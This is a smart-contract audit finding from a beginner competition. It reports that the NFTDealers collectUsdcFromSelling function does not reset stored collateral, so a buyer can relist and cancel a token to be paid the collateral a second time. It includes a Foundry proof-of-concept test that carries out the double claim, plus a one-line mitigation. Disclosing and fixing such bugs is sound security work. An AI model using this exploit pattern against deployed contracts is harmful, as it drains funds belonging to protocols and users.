NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Protocol Pays Double Collateral Due to Missing State Reset in collectUsdcFromSelling

Author Revealed upon completion

Root + Impact

Description

  • In the NFTDealers protocol, every minted NFT requires a mandatory collateral (_lockAmount) which is recorded in the collateralForMinting mapping. This collateral is designed to be returned to the owner exactly once: either when a listing is cancelled or when sale proceeds are collected.

  • A critical accounting error exists in the collectUsdcFromSelling function. While the function correctly calculates and transfers the collateral back to the seller, it fails to perform a state reset (zeroing out) of the collateralForMinting mapping for that specific tokenId.

  • Because this state is not cleared, the record of the collateral remains "active" in the contract's storage. A subsequent owner (the buyer) can relist the same NFT and then call cancelListing, which triggers another collateral payout from the same stale record.

function collectUsdcFromSelling(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
...
// @> Collateral is retrieved from the mapping
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
// @> ROOT CAUSE: The mapping value is not reset to 0 after being fetched.
// The contract pays the seller but leaves the record intact in storage.
usdc.transfer(seller, amountToSeller + collateralToReturn);
}

Risk

Likelihood:

  • This issue will occur for every NFT sold on the platform. It is a persistent state vulnerability that remains exploitable until the cancelListing function is eventually called for that token ID, which is a standard action in the secondary market lifecycle.

Impact:

  • Direct Financial Loss: The protocol incurs a loss of 20 USDC (or the designated _lockAmount) for every completed sale.

  • Drain of Protocol Funds: A malicious buyer can repeatedly buy, list, and cancel NFTs to effectively "double-dip" into the protocol's liquidity, eventually draining collected fees or other users' deposits.

Proof of Concept

function testDoubleClaim() public {
vm.startPrank(seller);
usdc.approve(address(nft), 20 * 1e6);
nft.mintNft();
nft.list(1, 100 * 1e6);
vm.stopPrank();
vm.startPrank(buyer);
usdc.approve(address(nft), 100 * 1e6);
nft.buy(1);
vm.stopPrank();
uint256 sellerBalanceBefore = usdc.balanceOf(seller);
vm.prank(seller);
nft.collectUsdcFromSelling(1);
uint256 sellerBalanceAfter = usdc.balanceOf(seller);
console.log("Collateral yang dikembalikan ke seller :", sellerBalanceAfter - sellerBalanceBefore ,"USDC");
assertEq(sellerBalanceAfter - sellerBalanceBefore, 119 * 1e6);
vm.startPrank(buyer);
nft.list(1, 100 * 1e6);
uint256 buyerBalanceBefore = usdc.balanceOf(buyer);
nft.cancelListing(1);
uint256 buyerBalanceAfter = usdc.balanceOf(buyer);
vm.stopPrank();
uint256 stolenCollateral = buyerBalanceAfter - buyerBalanceBefore;
console.log("Collateral yang dicuri buyer:", stolenCollateral / 1e6, "USDC");
assertEq(stolenCollateral, 20 * 1e6);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
...
// @> Get the collateral amount
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
// Transfer both proceeds and collateral to the seller
usdc.transfer(seller, amountToSeller + collateralToReturn);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!